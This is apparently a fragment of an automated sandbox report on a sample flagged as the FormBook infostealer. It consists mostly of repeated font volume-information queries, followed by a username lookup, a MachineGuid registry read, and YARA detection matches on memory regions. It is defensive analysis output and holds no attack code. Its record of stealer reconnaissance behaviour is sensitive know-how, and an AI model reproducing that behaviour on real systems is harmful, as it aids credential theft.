Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Code function: 0_2_058A01D6 GetUserNameW,

0_2_058A01D6

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.08917506_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.08917506_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, type: MEMORY
